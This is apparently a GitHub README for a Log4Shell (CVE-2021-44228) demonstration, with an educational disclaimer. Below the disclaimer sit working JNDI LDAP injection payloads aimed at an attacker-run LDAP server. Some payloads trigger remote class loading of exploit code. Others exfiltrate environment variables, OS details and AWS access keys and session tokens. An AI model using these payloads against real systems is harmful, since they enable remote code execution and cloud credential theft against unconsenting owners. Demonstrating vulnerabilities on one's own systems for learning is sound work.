jxerome/log4shellEducational demonstration of the Log4Shell vulnerability (CVE-2021-44228) with JNDI LDAP payloads for experimental testing on your own systems.
This project is a demonstration of how the log4shell security vulnerability works.
This vulnerability is described in CVE-2021-44228.
The project is intended for educational purposes only. It should only be used on your own system and solely for experimental purposes.
Any execution is carried out at your own risk. The author declines all responsibility for any incident resulting from the execution of the project.
ldap_server=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.Exploit}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.ExploitP,msg=my friend}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.aws.FetchCreds}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:USER}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:PATH}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=os=${java:os}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=aws_credentials,AWS_ACCESS_KEY_ID=${env:AWS_ACCESS_KEY_ID},AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_ID},AWS_SESSION_TOKEN=${env:AWS_SESSION_TOKEN}}'